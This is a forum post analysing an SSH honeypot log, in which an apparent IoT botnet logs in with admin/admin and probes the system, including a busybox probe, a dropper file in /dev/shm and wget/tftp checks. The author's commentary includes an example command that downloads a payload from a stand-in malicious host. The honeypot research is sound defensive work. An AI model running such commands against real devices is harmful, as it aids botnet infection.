GreySec Forums
Honeypot Attack Analysis - Printable Version

+- GreySec Forums (https://greysec.net)
+-- Forum: Security and Exploitation (https://greysec.net/forumdisplay.php?fid=7)
+--- Forum: Network Security (https://greysec.net/forumdisplay.php?fid=12)
+--- Thread: Honeypot Attack Analysis (/showthread.php?tid=6928)



Honeypot Attack Analysis - DeepLogic - 05-20-2020

Honeypot Attack Analysis
Back in January I was running an SSH honeypot on a raspberry pi with cowrie. If you don't know what a honeypot is, then google it. It'll take you less than five minutes to figure it out. I stopped because I stopped reading the logs and just used the pi for something else. But I've decided to get it up and running again. If you want to check out some of the data from it (super interesting I know) it'll be on my github: https://github.com/ghostwalkr/Honeypot.
 
 Lots of malicious programs look for SSH and telnet. If you can brute force a SSH/telnet password it's instant access to that machine. The attacker may have a lower-privilege account, but it's a great foothold. I wanted this honeypot to emulate a vulnerable IoT device. I specifically wanted to catch some botnets if possible. I didn't have a good source of data to try to emulate a specific device. So if someone has a good source on where I could find some info on a IoT device's command line prompt, login banner, and architecture that would be great. As of right now, my honeypot almost looks like a IoT device but smaller details give it away. Fortunately I've mostly dealt with automated attackers and not so much people. Within the first half hour of setting the honeypot up I started getting people trying to break in. My honeypot loosely emulated a Huawei router so I gave it credentials of admin/admin. Which is a very common default for many other IoT devices as well. The program tried 26 different common and default credentials over the course of 8 seconds before it found admin/admin. Below is the commands and output from the bot.
Code:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
MT882a> enable
enable .
enable :
enable [
enable alias
enable bg
enable bind
enable break
enable builtin
enable caller
enable cd
enable command
enable compgen
enable complete
enable continue
enable declare
enable dirs
enable disown
enable echo
enable enable
enable eval
enable exec
enable exit
enable export
enable false
enable fc
enable fg
enable getopts
enable hash
enable help
enable history
enable jobs
enable kill
enable let
enable local
enable logout
enable popd
enable printf
enable pushd
enable pwd
enable read
enable readonly
enable return
enable set
enable shift
enable shopt
enable source
enable suspend
enable test
enable times
enable trap
enable true
enable type
enable typeset
enable ulimit
enable umask
enable unalias
enable unset
enable wait
MT882a> system
-bash: system: command not found
MT882a> shell
-bash: shell: command not found
MT882a> sh
MT882a> cat /proc/mounts; /bin/busybox XRCUK
rootfs / rootfs rw 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
proc /proc proc rw,relatime 0 0
udev /dev devtmpfs rw,relatime,size=10240k,nr_inodes=997843,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0
tmpfs /run tmpfs rw,nosuid,relatime,size=1613336k,mode=755 0 0
/dev/dm-0 / ext3 rw,relatime,errors=remount-ro,data=ordered 0 0
tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0
tmpfs /run/lock tmpfs rw,nosuid,nodev,noexec,relatime,size=5120k 0 0
systemd-1 /proc/sys/fs/binfmt_misc autofs rw,relatime,fd=22,pgrp=1,timeout=300,minproto=5,maxproto=5,direct 0 0
fusectl /sys/fs/fuse/connections fusectl rw,relatime 0 0
/dev/sda1 /boot ext2 rw,relatime 0 0
/dev/mapper/home /home ext3 rw,relatime,data=ordered 0 0
binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,relatime 0 0
XRCUK: applet not found
MT882a> cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XRCUK
cat: .s: No such file or directory
XRCUK: applet not found
MT882a> tftp; wget; /bin/busybox XRCUK
usage: tftp [-h] [-c C C] [-l L] [-g G] [-p P] [-r R] [hostname]
wget: missing URL
Usage: wget [OPTION]... [URL]...

Try `wget --help' for more options.
XRCUK: applet not found
MT882a> dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s
ELF(T4�4 (0+0 records in
0+0 records out
0 bytes transferred in 0.695821 secs (0 bytes/sec)
 
As you can see, the IoT emulation is fairly subpar. It has a Debian login banner, certain commands that should work on an IoT router don't work, etc. The bot forged on despite the fact that some of the things it tried didn't work. The bot first gets a shell on my "router." It then lists the mounted filesystems and attempts a busybox command. I'm not sure what the command is supposed to do or why the bot tried it, so if you are familiar with busybox let me know. The bot changed to the /dev/sdm directory and then tried to cat out the file ".s". This may be some way of testing to see if the device is already infected. Since the command fails (the file doesn't exist) it copies the /bin/echo binary to .s. Then it executed the base command of two file transfer utilities (wget and tftp) and the same busybox command as before. I'm not entirely sure what this is supposed to accomplish. Knowing what the busybox command was for might shed some light on it. My best guess would be the bot was looking for utilities to download and/or upload files. This is fairly common. But tftp and wget were both found and the bot doesn't have a clear direction after this. It doesn't really do an effective check of what file transfer programs are on system since it uses a semicolon between the commands. Something like "wget https://malicious.com/payload || tftp ftp://malicious.com/payload" would make more sense. The bot actually used something similar  previously in the script and immediately following. Of course I don't know what's going on at the bot's backend. Lastly, the bot tried to show the contents of the .s file via dd, cat, or a shell one liner. This another one of things it did that I'm not really sure about. Who knows? Maybe it detected it was in a honeypot and decided to do something different. I looked up the IP address on shodan.io and it's tagged as an internet scanner. It's possible it was coming from a compromised system. I have yet to determine exactly what was attacking. A botnet is my first guess because of the popularity of making IoT botnets. Another interesting note is that I received similar attacks since that one. Some substituted the XRCUK in /bin/busybox XRCUK with other random characters. One even put CORONA in place of XRCUK.
 
Let me know your take on this by replying to the thread. If you have any questions, can fill in any gaps, or correct me where I was wrong just reply to the thread. Thanks for reading.